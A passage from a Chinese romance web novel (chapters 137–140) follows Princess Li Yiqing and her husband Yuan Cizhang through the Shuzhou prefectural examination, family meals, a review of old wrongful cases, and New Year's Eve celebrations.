声音轻轻软软，带着几分心虚几分撒娇：“你喂我。”
元辞章感受怀中靠过来的温软，垂眸看着她的发旋，半响，伸手捻起一块糕点。
137. 州试
吃到糕点后，李意清得寸进尺，一会儿指挥要喝水，一会儿又囔囔着水凉了。
元辞章对于她的要求像来照办不误。
好不容易吃饱喝足，李意清才慵懒地舔了舔唇，准备从元辞章的怀里溜出去。
快要分开的时候，却被元辞章紧紧拉住。
“走完了就想走，有些不负责任吧。”
李意清看着元辞章沉沉的眼眸，想了想，凑近他的侧脸亲了一下。
“……”
元辞章忽然像是被人施加了定身术，愣在了原地，半响，轻轻地笑了。
李意清伸手勾起元辞章的衣袖摇晃，“你笑了，笑了就是可以了。”
元辞章似叹息般：“殿下啊……”
他早该知道的，面对李意清，他向来根本招架不住。
最后只能自己忍着蔓延生长的欲望，装成一副风光霁月的模样。
李意清哄好元辞章后，才聊到了正事，“舒州的州试你定好日子了吗？题都出完了吗？”
元辞章：“嗯，差不多了。时间定在八月十二。”
说到此处，他微微一顿，然后看向李意清。
“州试九天六夜，需锁贡院，你会不会想我？”
李意清难得看见他这样的表情，忍不住伸手捏了捏他的脸，拉长了尾音道：“不告诉你。”
才不会告诉你，其实才一个白天不见你，就已经很想你了，元辞章。
*
八月二十，舒州府州试结束。
贡院门外，有嚎啕大哭者，也有喜气洋洋者，人间百种情绪，混杂在这小小的天地间。
李意清混在不少前来接人的考生家眷中，但也略微有区别。
她等的不是考生，而是监考。
监考落后一步出来，题纸有专人送到府衙，不需要监考官操心。
元辞章和杨通判一道出来，对比之下，元辞章的精神状态好上太多，只有眉眼之间充斥着淡淡疲惫，但是衣裳整洁，面容干净。反观杨念，已经起了一层厚厚的胡茬，双目无神地盯着前方。
他这次运气不好，卧榻紧靠的书生夜里鼾声如雷，连着几晚上都不得安寝。
元辞章看见李意清，自然而然走了上前。
杨念还是第一次看见李意清，见到她，询问的视线看向元辞章。
元辞章嗓音清越，“这位是我夫人。”
“哦哦哦，原来是……”杨念本想喊弟妹，后来猛地一个激灵反应过来，这位是於光公主。
他紧急将弟妹二字咽了回去，转而道：“原来是元夫人，幸会幸会。”
这位杨通判李意清听元辞章听过几次，是个忠实可靠的性子。
她朝杨通判点了点头。
杨通判见两人有话要说，主动先一步离开。
没了旁观者，李意清自然而然地牵起了元辞章的手，眼中的心疼一闪而过，换上一副轻松的语气：“走吧，仁清堂备了饭菜，元尧臣亲自下的厨。”
元辞章任李意清牵着自己向前走。
到了仁清堂，里面满是三两聚首讨论本次州试题目的书生，元辞章刚从贡院出来，这副样子太过明显，李意清绕着他转了一圈，伸手将他背后的发簪抽了出来。
一瞬间，锦缎般的墨发垂散而开。
因为被束了一整日，此刻有些微微卷翘。
李意清踮起脚尖，将头发简单整理后，她自信只见了考官数次的那些考生光靠看背影是决计认不出元辞章的。
“是我准备不够充分，应当再带上一件外袍。”
她有些遗憾。
元辞章倒是不以为意，“就算认出来又如何，监考难不成就不要吃饭？”
他说的太过于一本正经，李意清怔了一瞬，才笑了出声。
“你说的对。”
需要吃饭的监考跟在李意清身后安静地上了二楼，并没有引起任何人的注意。
元尧臣正端着鱼头豆腐煲上菜，一抬头看见散着头发的元辞章，嘴巴长得很大。
“兄兄兄……”
元辞章：“你嫂嫂解开的。”
元尧臣：“哦。”
他强行按捺心中的激动，故作镇定地点了点头。
还朝着李意清问好：“嫂嫂。”
李意清还没有进门就闻到了浓郁的香味，此刻看元尧臣越发顺眼，笑眯眯道：“尧臣辛苦啦。”
元尧臣立刻来了精神，“不辛苦啊，嫂嫂你还想吃什么？蟹黄豆腐？葱烧鳝鱼？”
李意清松开了元辞章的手，“不可以都选吗？”
元尧臣：“当然可……”
元辞章默然看着自己空空的掌心，又看了一眼相谈甚欢的两人，轻咳一声。
元尧臣立刻止住话头，“嫂嫂，锅上还煨着汤，我先去看一眼。”
李意清：“嗯，好。”
她点点头，目送元尧臣下楼后，走到元辞章的身边，“我们进去坐吧。”
元辞章伸手去够李意清的手，分开她的手指后十指紧扣，才轻轻“嗯”了一声。
最后一道山药炖鸡汤被端上桌后，正式开饭。
毓心和茴香坐在对面，洛石和杜于泉并排坐下，元尧臣一人独坐一边……
李意清目光在室内扫了一圈，才发现室内没有许三的身影。
“许三呢？”
“州试结束，有些事情要清算。”谈及公事，元辞章闲散的嗓音陡然带上了几分凌厉。
他看了一眼窗外，黄昏时分，余霞灿烂橘红。
“差不多快回来了。”
话音刚落，门外响起敲门声。
许三推门进来，身上还带着几分冷然，朝元辞章拱手道：“公子，你吩咐的事情已经处理完毕，安抚使果然没有出手。”
元辞章像是早就知道结果，闻言淡淡嗯了一声。
安抚使没有出手自然最好，即便出手了，那就趁此机会一道收拾。
他并不在意。
茴香朝许三招了招手，示意他坐在元尧臣的身边：“就差你了，快坐下吧。”
许三听到茴香的话，身上气质飞快变得随和，走到元尧臣的身边坐下。
人到齐后，正式开饭。
饭桌上没人主动开口，只有简单的碗筷碰撞的声音。
收尾的时候，元辞章忽然看向了埋头喝汤的元尧臣。
“听说你父亲准备在茂州新开一个香料商号，但是官府审批一直没有下来？”
元尧臣喝汤的动作一顿，然后抬头看向自己神色寡淡的兄长。
“兄长怎么知道？”
若是以前元相还在的时候，一个商号的开户，哪里会拖延这么久。
他一脸希冀地看着元辞章，如果是兄长，说不定有法子解决。
元辞章像是突然想起
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这件事，提过一句后，便不再言语。
元尧臣：“？”
他今天应该没有惹到兄长吧。
饭后用了茶水，元辞章还要会府衙和杨念阅卷，先一步离开。
元尧臣心底还记挂着饭桌上的那一句话，等人走远了，他才凑到李意清的身边，“嫂嫂，兄长那句话是什么意思？他要帮我吗？”
李意清小声“唔”了一声，转头上下打量他一眼。
他今日换了一件靛蓝的长袍，为了下厨，特意用绑带将宽大的袖口束起来，笑意盈盈，和往常并没有什么不一样。
李意清收回视线，语气平静道：“我不知道。或许你在饭桌上夹了元辞章喜欢的糖醋肉？”
这简直就是污蔑。
“天地良心，”元尧臣伸出三根手指，“那一碗糖醋肉我一口都没有碰……稍等，嫂嫂，你是说我兄长喜欢糖醋肉吗？”
李意清眼底飞快闪过一丝笑意。
“虽然你兄长没有承认过，但是我发现，他更喜欢甜食。”
比如乌梅汤和冰糖银耳，元辞章会多喝后者一碗。
元尧臣一脸钦佩地看着李意清。
“嫂嫂，我还是第一次知道，兄长也会有偏好。”
李意清好奇地看着他。
好像元辞章的弟弟妹妹们眼中的他，和她所接触的元辞章，像是两个人。
说到自己熟悉的领域，元尧臣的语气变得从容不迫起来，夹杂着淡淡的笑意。
“我小时候是皮猴子，一天不上瓦就皮痒那种，好几次我娘亲拿着竹竿看着站在屋顶上的我，朝我大叫，我也不愿意下去。”说起自己的糗事，元尧臣的脸上浮现一抹害羞的红色，这一抹红色飞快闪过，“那时候我不愿意读书，不肯去书院。我娘亲可是歙州有名的才女，十岁能吟诗，她这样一个温婉的性子，愣是被我逼成了母夜叉……”
李意清默了默，佯装不感兴趣：“如果只是说你自己，那就算了，我并不好奇。”
“哎，铺垫一下嘛，”元尧臣看她转身要走，连忙道：“到了到了，我跟你讲兄长！”
李意清转身就走的脚步瞬间停下。
元尧臣几乎要被李意清这般不加掩饰的重视气笑了。他耸了耸肩，靠着柱子随意拨动自己的袖带，“每次我娘打我，都是说，‘你看看你辞章堂兄’，我一开始还真信了我娘的话，觉得辞章堂兄次次都愿意乖乖去书堂那种无聊的地方……咳咳，后来我才知道，辞章堂兄十次定多只有三次去了，其他七次不是躲在屋顶晒太阳，就是随意找个扁舟一躺一整天。嫂嫂你知道什么最可气吗？夫子明明知道辞章堂兄去的不勤，却愿意帮辞章堂兄瞒着。”
李意清：“这样啊。”
“对啊，我们也一样不去听课，月末小考大脑一片空白，辞章堂兄和我们一样，就是偏偏能写出来，有时候真好奇堂兄的头脑是怎么长出来的，”元尧臣换了一个站姿，“后来我实在气不过，跑到夫子的面前质问，夫子只是看了我一眼，说‘你要是能写出像辞章一样好的文章，你要怎么样，我也不管你’。可把我气坏了。”
最后那句话李意清信，即便过去这么多年，元尧臣提起这件事依旧气鼓鼓得像个河豚。
她忍不住轻声笑了出来，通过他人的描述，年少时的元辞章形象一点点描摹勾勒出来。
和她想象中的矜贵而稍显古板的文人书生差了不少。
138. 雕刻树叶
李意清笑完，才注意到气压低沉的元尧臣，收敛几分脸上温柔的笑意，问道：“那你和他岂不是从小就不对付？”
元尧臣：“是啊。没有人会喜欢身边有这么优秀的人存在吧，就像是一座怎么都翻不过去的高山。”
他顿了顿，语气忽然带上了几分感慨。
“但是后来发生了一件事，我父亲觉得我跟在他身后学经商无用，不能出人头地，绞尽脑汁想把我塞入学堂。可是我真不是读书那一块料，是堂兄拦住了我的父亲，支持我一直经商。”
那时候虽然他们都是晚辈，但是元辞章的话值得被长辈们郑重以待，元辞章站在他身前的时候虽然依旧是一副风轻云淡，举手之劳的模样，但是在元尧臣的心底，已经将这位堂兄当成了自己的亲兄长。
不，甚至比他的嫡亲兄长还要亲。
元辞章能读懂他的抱负，正如他在朝堂如鱼得水，商场才是他能活的滋润的地方。
元尧臣自嘲地笑了笑：“原先两年，父兄不肯接受这个事实，混得最差的时候，吃了上顿没下顿，是兄长一直暗中接济，还给钱让我出钱闯荡。后来生意有了起色，父兄才开始带上我一道从商……嫂嫂，你别看我现在像是在骂我父亲，但是我打心底里崇敬他——父亲从商二十余年，知道其中的辛苦，所以拦着我。可是我也想像父亲一样，行山踏水，判断局势。”
他挠了挠自己的头，似乎有些不好意思。
李意清看着他难得出现的几分少年感，一时间有些想伸手揉了揉他的头顶。
尽管看上去真的很软很好摸，李意清还是尽力忍住了自己的念头。
元尧臣浑然不知道自己在李意清的心目中变成一个小孩子，一边自称大人无所不能，一边会暗暗露出期待的目光，渴盼听到父亲母亲和兄长的夸赞。
并且按照元尧臣的性子，即便被夸赞后心里乐开了花，脸上还会一脸故作清冷的不在意，然后随意道：“这不算什么。”
元尧臣：“……所以说啊，这一点上，父亲和兄长并没有什么不同。兄长曾经在江宁的时候并非最刻苦也并非最有天资的，后来他到了京城，忽然开始奋发图强。原先我以为兄长是那种功名利禄如浮云的寡淡性子，后来看到他那么用功，还以为是自己的判断失误。现在回想起来，兄长应该是为了嫂嫂你，一个不靠大祖父，不靠元氏，一个光明正大，能与你相匹配的身份。”
一个世家公子和公主或许也能被传唱一段佳话，但是到底还是状元郎靠着自己的才学说出去更让人动心。
通过元尧臣的描述，李意清忽然将他的话和太后的话串联起来。
元辞章当初是怎样的心怀忐忑，殿试后如何平复内心，然后得知自己金榜题目一刻也等不住的进宫面见太后，一字一句铿锵有力——
“臣元辞章，愿求娶公主殿下为妻。”
他当时会不会紧张？
元尧臣看着李意清的面容，嘴角勾起一抹疏朗的笑：“嫂嫂，你没有防备的时候，心思真的很好猜。”
李意清不明所以地看向他。
元尧臣：“如果是你的话，兄长应该是紧张的，人在得到或失去什么重要东西的时候，怎么可能心如止水。”
李意清：“小小年纪，说起话来这么老气横秋。”
“哈哈哈哈哈，跟别人打交道的时候不故作老成一点，很容易受欺负，”元尧臣笑了出声，然后伸手扯了扯自己的衣裳，“这身穿衣打扮，也是跟在兄长身后学的，以前我偏爱红色劲装，或者是骑射服，与人打交道总是被忽视，后来跟着兄长学了一番，出门办事都方便了不少。嫂嫂你说，兄长是不是天生就是个大人啊。”
这句话问的好笑，元尧臣乐不可支，在心底暗笑兄长没童年后，听到楼下小二的喊声。
“大掌柜，有人找！”
元尧臣探头出去应了一声“来了”，朝李意清比了一个手势，下了楼。
他走后，李意清看着楼下人来人往的仁清堂。元尧臣在经商之道上确实很有天赋，仁清堂开店一个多月，从一开始的过了这几天就无人问津了，到一个月后仍然座无虚席，元尧臣在其中的努力居于首位。
望仙楼的掌柜好几次忍不住走到仁清堂的门口，但又不肯进来，被店小二发现后告诉给了元尧臣。望仙楼的掌柜硬是被他拽了进来，还请他喝了一碗山药肉泥汤。
后来一来二去，两人算得上半个朋友。
仁清堂交给元尧臣，李意清没什么不放心的。
夜幕低垂，华灯初上，毓心、茴香和她一道回清风居。
一路上凉风习习，走到门口，门口放着一箩青黄的芭蕉。
附近种了芭蕉的人家，只有江舒窈一家。
毓心：“殿下，要拿回去吗？”
李意清望着那一箩芭蕉，轻轻点了点头。
隔壁院子，见到李意清收下芭蕉，江舒窈松了一口气。
滕荇，不对，应该是江荇凑到江舒窈的身边，小声问：“娘亲，我们什么时候能再去和意清姐姐打招呼。”
江舒窈摸了摸她的头，语气松快而温柔。
“你要是想意清姐姐，你自己去看她，她不会拦着你的。娘亲之前做了错事，现在见面对我们都不好。荇儿，你明白吗？”
江荇点了点头。
另一边，李意清回到院中，伸手拿了一根芭蕉。
撕开芭蕉的外皮后，一股浓郁到有些甜腻的香味铺面而来。
她咬了一口，看见茴香一脸紧张的神情。
茴香咽了口口水，小声问：“殿下，好吃吗？”
不听她话里的内容，还以为她的样子是在问“殿下，有毒吗？”
李意清笑了一声，伸手摘了一根递到她的手里，“你什么时候吃东西还要征询我的意见了？”
茴香“哎呀”了一声，嘴里小声嘟囔了一句什么。
不过芭蕉真的甜。
李意清眯起眼睛，抬头看着添上的月牙。
虽然已经过了十五，但是今夜无云，皎洁的月光下树叶摆动，如似水中藻荇轻摆。
朝着西边望去，远山轮廓若隐若现，潜山隐匿万山之林，山形轮廓边缘散发着冷冷的白光。
过了差不多了一个时辰，茴香打着哈欠道：“殿下，我先扶你回去休息吧。今日驸马要留在府衙和诸位大人审阅文章，不一定能回得来。”
李意清轻声“嗯”了一声，回到了房中。
*
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九月中旬，各地州试陆续结束。
舒州的三甲也被张贴在榜上，首甲解元是舒州怀松县人士彦文卓，刚过二十四岁，称得上一句青年才俊。
从舒州走出去的考生，算是一地知州、知县的政绩，名义上元辞章和他也算有师生之谊。
听元辞章说，彦文卓放榜那日，站在榜下怔愣良久，而后嚎啕大哭。
后来才知道，这时彦文卓第二次参与科举。第一次的遗憾在那日终得圆满。
科举中，考到七老八十者大有人在。彦文卓沉淀三年就能夺得解元，其中的辛苦可想而知。
元辞章坐在树荫下，秋日来临，树叶渐渐变黄，一阵风起，几片金黄的树叶落到了元辞章的衣袖上。
他伸手轻轻拂去，而后对李意清道：“彦文卓家中清贫，为了明年的春闱，我给他二十两当作盘缠。等十一月左右，他就要启程入京了。”
李意清正在专心用小刀雕刻树叶，顺着树叶的经络一点点剔除多余的部分，闻言头也不抬道：“这样的事，你自己做主就是。”
“还有，”元辞章垂眸看着李意清手上的动作，“江宁府的消息也传出来了，今日的江宁解元，是汪青野。”
“啊……哦哦，原来是他啊。”李意清反应了一瞬才想起来，在她的脑海中，汪青野和黑鱼汤联系紧密，实在算不上多美好的回忆。
但是夺得解元，这是大喜事，李意清点了点头，朝着元辞章嫣然一笑：“不愧是你的学生。”
元辞章被她明艳的笑容晃动了心神。
李意清小心翼翼地吹去树叶上多余的部分，有一些不够平整的边边角角重新用刀尖一点点细致剔除，然后逆着光展现在元辞章的面前。
“你看。这是汪青野的先生，你觉得他好看吗？”
元辞章看着她眼底的揶揄，嘴角扬起一抹无可奈何而又宠溺的笑。
他不过提了一嘴，立刻就能被她抓到机会打趣回来。
元辞章认真的凝视着李意清指尖的那一枚小小树叶，眉眼是自己都没有注意到的温柔。
“你雕的，自然好看。”
李意清一本正经地摇了摇头，靠的离元辞章更近了些。
两人相隔不过两寸距离，呼吸交错缠绕。
近到李意清可以很轻松地看清元辞章微微颤抖的眼睫毛，像鸦羽一般，眸子里因为有她的存在，清冷疏离被柔和所取代。
“是人长得好看，我的手艺实在一般。”她这样说。
元辞章睫毛飞快地颤抖了一下。
他鬼使神差地想要再靠近一些，可是李意清却忽然拉开了距离，只留下一串轻笑。
她的指尖揉搓着树叶的叶柄，雕刻着元辞章的树叶像一只旋转的蝴蝶在她手中飞舞。
元辞章被眼前的笑容感染到，在李意清又一次靠近的时候将她拉入自己的怀中。
轻柔的吻落在她的眼眸上，李意清闭着眼睛，柔软的唇一触即分，她微微颤抖。
捻住树叶的手微微松开，雕刻着元辞章的树叶掉在地上，混入一地的落叶之中，她伸手搂住元辞章的脖颈，轻轻蹭着他的下颌。
被风吹落的树叶落在两人的身上，美如一幅画卷。
139. 等春天
晚间的时候，李意清在元辞章的书桌上看到了今日下午的那一枚树叶。
树叶被琉璃罩子罩住，底部用青石勾勒花纹，像是什么罕见的珍宝。
那么多树叶混在一起，她光是想到她离开后，元辞章在一堆树叶中扒拉，最后找到这一枚放在书桌上珍之重之的对待，就忍不住想笑。
元辞章沐浴完毕，一进屋，就看见李意清对着那个琉璃罩子托腮轻笑。
李意清听到响动，收敛了脸上的笑意，转而用指尖轻轻点着桌上的公文。
“这是刘文钊的罪证，你什么时候收集的？”
元辞章走到她的身边坐下，嗓音低沉：“刘悯安的事情之后。刘文钊这事做的隐蔽，卢家娘子也被灭口，好在并非全然没有线索可追。”
当年刘悯安仗着刘文钊的名声在外作威作福，强行欺压当时已经嫁为人妇的卢家娘子，致使卢家娘子三月滑胎。主簿等人畏惧刘悯安的家世，什么罪责都没判不说，还把卢家娘子的夫君打了一顿。
事后，刘文钊怕走漏风声，也怕影响自己的仕途，在卢家娘子决定举家搬迁的路上安排了匪徒，一家人无人幸免。
刘文钊自恃做的周全，但是却没有预料当年府衙里有一个看不过眼主动请辞还乡的主簿录下了此事，还有当年卢家娘子遇害的路上，有人家看到了那一幕，只是害怕匪徒和刘文钊的凶名，不敢站出来指认。
前段日子舒州府州试，没有功夫料理刘文钊和刘悯安的事，现在自然不能再放任不管。
元辞章将公文下面的册子拿起来递给李意清，“顺藤摸瓜，算是略有所获。”
那本册子约莫小指厚度。
李意清对“略有所获”四个字保持质疑。
她伸手接过元辞章递来的册子，翻开看了几页，脸上的神色忽然变得难看起来。
元辞章：“这是在查案过程中发现的当年错案合录，可能记载不全，我打算重修这些卷轴，府衙上下没几个人同意。”
重翻旧案耗时耗力，更有些案子当事人都不在了，做这样费力不讨好的事情，自然没几个人愿意。
或者说，现在府衙上下全然干净的人，并不多。
元辞章垂眸看着李意清的神情，“你怎么看？”
李意清：“当然要查。”
她说的斩钉截铁，仿佛这件事根本不需要犹豫一般。
元辞章轻轻“嗯”了一声，仿佛早就知道李意清会这样选择。
李意清思虑了一番，道：“你每日还有府衙的事情处理，这些案子我帮你看，若有拿不准的，我再来问你。只是这样下来，我需要你的令牌，方便出入府衙档案库。”
元辞章想都没想：“好。”
说完，他顿了几秒道：“不过这几日要处理刘文钊的事情，你自己，可以吗？”
李意清点头：“这有何难，去府衙的路我记得，存放档案的库房也知道大致方位，你不必担心我。”
*
之后的三个月多，李意清每日穿着中性的服装进出府衙查案。
不少人都注意到了她，几次在她经过的时候欲言又止，可是看见她腰带上系着的令牌，又悻悻的闭嘴。
李意清为了避免事端，尽可能让自己的显得不那么引人注目，可是她的容貌太过出众，还是给不少人留下了深刻的印象。
更有甚者，私底下偷偷问许三，这人是什么来头。
许三三缄其口，任旁人怎么问都一字不说。
众人对李意清的身份越发感到好奇，这般容貌昳丽的师爷，元辞章是从哪里找到的。
本来他们心底暗暗猜测，可是时间一长，又成了这师爷哪天就会坚持不住。可是令他们所有人都没有想到的是——这师爷雷打不动的坚持到了年关，看上去可比他们这些正经指派过来的官员更关心舒州府诸事。
时间眨眼而过，年关前夕，家中需要采买物什。
年节贺礼往年是毓心负责，今年自然也不另外，李意清将毓心写的贺礼单子看了一遍，将送给父皇母后的贺礼增加一份，才点头让她去准备。
开过年来，她就整二十了，东西自然要准备的更充分一些。
门口堆积的雪还没有化完，前些日子又下了一场，窗棂上贴的油纸才换不久，可是经过这几天冷冽的寒风，边角已经微微卷翘了。
雪后的天气总是雾蒙蒙的，李意清将身上的斗篷裹得更严实了一些。
茴香站在门后“哎”了一声，将两个羊绒手套子塞到李意清的怀中。
毓心只看了一眼就笑了，“殿下，茴香为了这副手套，可没少花心思。”
李意清看着边角有些粗笨的线头，朝茴香笑：“真暖和。”
“殿下喜欢就好。”茴香脸红扑扑的，也不知道是害羞还是被风吹的，“等明年，我一定给殿下准备一套更好看的。”
李意清自然从善如流，“好，那我先提前谢过茴香了。”
她说完，看了一眼翻滚的天色，“瞧着还要刮北风，你们采买完早些回来，再有三天除夕，明日我就不去了，在家中好好收拾一番。”
毓心和茴香应下。
到了府衙门口，守门的府兵已经见怪不怪，朝李意清点了点头，就伸手拉开了门。
师爷并不算朝廷的正经官员，而是由主官聘请过来帮助自己协力办案、整理文书、出谋划策的人员，府衙上也有几个师爷，不过大多都是官员的亲戚，像李意清这样安安静静只干实事的，确实不多见。
要不是李意清的腰间佩的的的确确是元辞章的令牌，谁也不会想到这两个几乎没交集的人有关系。
李意清朝府兵微微点头，道了声“辛苦了”。
府兵笑容满面，虽然只是一句关心的话，却还是让他很受用。
李意清熟稔地到了库房，有主簿正好来取文书，看到她走过来，朝她微微点头。
“这么冷的天气，师爷还天天过来，真是辛苦了。”
李意清微笑摇头。
主簿正是极度尊崇元辞章的那一位，李意清记得他的身形。
主簿把案件夹在腋下，双手插入袖口，小声嘟囔了一句“这天真冷”后，走了出去。
李意清走到书案边，摊开卷轴后将羊绒手套脱下来，一边将双手放在炭盆上端烤火，一边低头看着卷轴上的文字。
不知布局，一上午时间过去。
李意清沉浸在自己的世界中忘了时间，直到眼睛干涩，才抬头伸了一个懒腰。
窗外风雪啪啪地拍着窗棂，窗户吱吱呀呀的摇晃，最终一阵大风刮来，原先闭合的窗户支撑不
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住，唰地一声被风吹开。
夹杂着雪花的冷风灌进了库房之中，摊开放在桌面上的纸张被风吹得呼啦作响。
李意清站起身，走到窗边重新将窗子压了回去。
已经坏掉的窗户吃力地挡着外面呼啸的寒风。
元辞章踏雪而来，看到李意清手撑在窗边，在库房找了一根木棍暂且撑在窗户上。
李意清道：“你怎么会来？”
“外面的雪太大了，”元辞章将李意清冷得发红的指尖包在自己的掌心，“杨念他们都先一步离开了，我猜你没有在意外面的天气，想过来找你一道回家。”
李意清感受他掌心的温热，闻言垂眸笑了笑。
“还好你来的及时，不然我还真不知道这该怎么办。”
元辞章低头看了一眼支撑着窗户的木棍，“我先去和管事说一声，将窗户加固一下。”
李意清点了点头：“正好，我这边还差最后几页。等会一道回去吧。”
元辞章颔首离开，飞舞的雪花落在他霜蓝色的斗篷上，周边的枯木上、墙根上沾着皑皑白雪，一瞬间宛如蓬莱仙境。
看完最后几页纸，元辞章刚好回来，怀中不知道从哪儿弄来一个热的汤婆子。
李意清接过元辞章递过来的汤婆子放在桌上，将羊绒手套给元辞章戴上后，才重新抱起汤婆子。
元辞章低头，将李意清的斗篷仔细系好后，自然而然站在了风吹来的一侧。
天色昏沉，一路上人少得可怜。
穿过巷子的时候，李意清闻到了浓郁的羊肉汤味，伴随着茱萸草的辛辣，浓郁得仿佛近在眼前。
李意清加快了脚步。
屋中，毓心和茴香正在做羊肉炉子，看到李意清的身影，笑眯眯地招呼她快坐下。
入冬后的舒州新鲜蔬菜几乎没剩下什么，刘阿婆门口的萝卜留籽后，全被腌成了萝卜干。
毓心从坛子中拿了一些出来，洗干净切成丝，裹上一层花椒磨碎的粉末。
李意清喝了一碗热乎乎的羊肉汤后，才感觉僵冷的身体渐渐恢复知觉。
她抬头看了一眼隔壁院子，对毓心道：“给舒窈姐姐和荇儿送一些过去吧。”
江舒窈出了月子后，身体渐渐好转。几次滕子鹤前来，都被她语气平静而坚定地拦在了门外。
失去了滕子鹤给的银钱，江舒窈还要养活两个孩子，她主动帮人缝补衣裳，时不时还做一些挽珠花的活计。
现在的生活，已经越来越好了。
李意清记得她曾经答应的事情，暗中让人拦住了不死心的滕子鹤，也默默让人主动将一些简单的活计交给江舒窈去做。
她兑现了自己的诺言，可是替江舒窈求愿的那个人，已经离开了人间。
那时候谁也不知道，那会是最后的遗愿。
毓心撑伞送去后，忽然墙头探出一个毛茸茸的脑袋，是江荇踮起脚朝这边望。
她的乳牙已经换下，笑起来嘴角带着两颗浅浅的梨涡。
“意清姐姐，我娘亲让我对你说一句话。”
李意清朝她看过去，收敛了心底的淡淡悲伤，语气带笑：“什么？”
江荇：“我娘说——她以为要等到春天。”
她以为要等到春天，你才会再一次主动理她。
140. 除夕夜
李意清没来得及反应过来，就看见江荇“哎哟”一声，重重地摔在了地上。
她猛地站起身，朝着墙对面望过去。
“荇儿，没事吧。”
江荇拍拍屁股站起身，摇了摇头：“不疼，墙角下雪垫着，姐姐，雪疼不疼？”
李意清被她突如其来的童言童语逗笑，“或许会吧，我也不知道。只知道雪在阳光下会融化，想要再见，还需要度过春夏秋天。我想比起你摔在它身上，它更害怕的是孤独。”
江荇：“真的吗姐姐？没关系，明年我还会在这里陪它，它不会孤独的。”
李意清想了想，伸手掬起一捧雪，压实之后捏成一个小小的雪人，递给了江荇。
“诺。”
江荇伸手接过小雪人，眼睛弯成了月牙。
她像捧着珍宝一样捧着那一个小小的雪人，声音清脆：“意清姐姐，我可以带回去给娘亲看一眼吗？”
李意清闻言不禁莞尔：“当然可以。”
江荇蹦蹦跳跳回到了屋中。
元辞章不知道什么时候走到了她的身边。
他像是在看雪，又像是透过漫天飞雪看向她，他的声音染上雪的清冷和落寞。
“若不曾……”
若不曾见光华璀璨，或可忍漫长永夜。触摸过炽热的人，又怎么甘心放弃这可遇而不可求的温暖。
雪声呼啸，他的声音太轻，李意清没有听清。
“什么。”
元辞章轻轻摇了摇头，“没什么。”
李意清主动靠近了他的身边，语气带上了几分感叹：“元辞章，今天我好像感觉初到舒州认识的江姐姐回来了。”
*
两日后，腊月三十，除夕。
舒州府城中满是热闹祥和的氛围，灯会舞狮，各种热闹。
李意清买了一刀红纸，铺平后放在院中，提笔写着春联。
茴香一边折着纸花一边走到李意清的背后，小声念着李意清新写的字。
“云卷云舒观自在，花开花落任逍遥。”
“山水有清音，入耳皆成曲。风月无边景，触目尽是诗。”
她忍不住笑：“殿下，你这是写春联还是写诗呢。”
李意清站起来一些，低头看着眼前的红纸，也忍不住笑了出来。
冬日里的暖阳难能可贵，随着日头越升越高，街上的欢声笑语也变得更加清晰，间或夹杂着孩童的嬉闹声，衬得年礼更加热闹。
李意清写完门前屋后、仁清堂和隔壁院子的春联后，将红纸铺在日光下晾干。
她一边洗手，一边对茴香道：“这时候听起来，才有些想经济行老板说的文气地儿……平日里被压着念书，只能等到节庆的日子才能好好放松。”
话音刚落，江荇就冲了进来。
她今天穿着一身大红色的袄子，上面绣着精致的花，头上简单盘着一个双丫髻，左右对称戴着两朵颜色鲜妍的绢花，衬着她有些稚嫩的脸盘，可爱的像是年画娃娃活了过来。
江荇将手中的篮子放下，朝李意清道：
“意清姐姐，我娘叫我拿些梅花酒和年糕来。她说你们刚来舒州，有一些习俗还不那么清楚。”
梅花酒倒是好理解，采集冬日里飘零的梅花酿成的酒。可是年糕又是什么。
江荇露出一个小小的梨涡，笑容满面道：“年糕就是把糯米和梗米混在一起磨成粉末，加水混合均匀，然后在蒸笼上铺上一层纱布，倒入揉好的糯米面。整好后切成这样的方状就好了。”
她一边说着，一边伸手掀开了篮子上盖着的白布。
露出里面一排干净的白色年糕。
李意清只看了一眼，就知道江舒窈花了大价钱。米色纯白如雪，没有一丝杂质。
“替我谢谢你娘亲。”
江荇托着下巴，神情憧憬道：“听说富贵人家的八宝年糕，里面还会掺上白糖、杏仁、桃脯、莲子、冬瓜条和葡萄干这些东西，蒸出来的年糕香气四溢，不用沾东西就能吃。”
茴香听出江荇的意思了，恍然大悟道：“哦哦，你是想让姑娘做了分你吃吧。”
江荇嘟起嘴巴，故作心虚而不失可爱地朝她眨眼睛：“茴香姐姐，看破不说破嘛。”
李意清在一旁看着两人交谈，“好啦，既然是习俗，过两天咱们家也做一些。要是做成了，请你来吃。这样好不好？”
“好啊，谢谢意清姐姐！”
江荇立刻欢呼一声。
李意清将桌上字迹已经干透的春联取下两幅，卷起来递给江荇。
“这个你带回去给你娘亲。”
江荇点了点头，抱着春联离开了院子。
她离开后，李意清和茴香回到了后院。
后院厨房已经被元辞章和元尧臣、洛石、许三围住，因为有元尧臣的在场，李意清很放心。
但是现在看来，今晚年夜饭的主角并不是元尧臣，而是元辞章。
元尧臣正不亦乐乎地给元辞章打下手，脸上表情十分精彩灵动，一双桃花眼满是惊叹。
只一眼，李意清就读出了他脸上“不愧是兄长”这一行字。
不过许是估计元辞章不喜欢太过聒噪，他竭力压制着自己的声音，只有哆嗦和颤抖的肢体动作来表现自己内心的惊叹。
到了下午时分，饭菜的香味已经充盈了整个后院。
毓心和茴香在后院的树枝上挂满了红色的灯笼，残霞倦懒，星夜初辉。
橘黄色的光线交织，映着灰暗的晚空，显得格外静谧祥和。
等最后一道清蒸鲈鱼端上桌，几人启封了两坛上好的藏酒，满上一杯。
元尧臣早就对兄长的藏酒垂涎欲滴，现在有机会喝到，很是热情地招呼众人：“先喝一杯，先喝一杯。”
清冽的酒水入喉，虽没有加热，但是冷天吃冷酒别有一番风味。
元尧臣砸吧嘴巴又给自己满上一杯，然后看向李意清：“嫂嫂，今天可都是我兄长做的菜。要我说，兄长若是不考状元，当个大厨也能名扬天下。”
元辞章默默瞥了他一眼。
面对元辞章，元尧臣闭上眼睛就能吹。
茴香：“你是疯了不成？驸马状元之才，你让人家当大厨，怎么想的？”
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元尧臣嘿嘿一笑：“我就是打一个比方。”
李意清不置可否地笑了笑，想起来今日江荇提到的八宝年糕，大致和他描述了一下样子。
元尧臣走南闯北，自然听说过八宝年糕这种东西，见李意清提起，主动道：“嫂嫂要是想吃，我明日就能做一些。”
李意清微微颔首，嘴角微微扬起，“那就麻烦你了。”
“不麻烦不麻烦。”元尧臣连连摇头。
说话间，远处的天边有人放起了烟花，绚烂的烟花在空中绽放，升到最高处的时候，倏然间变成千万点星雨落。
茴香直接惊呼出声：“啊，好漂亮的烟花！”
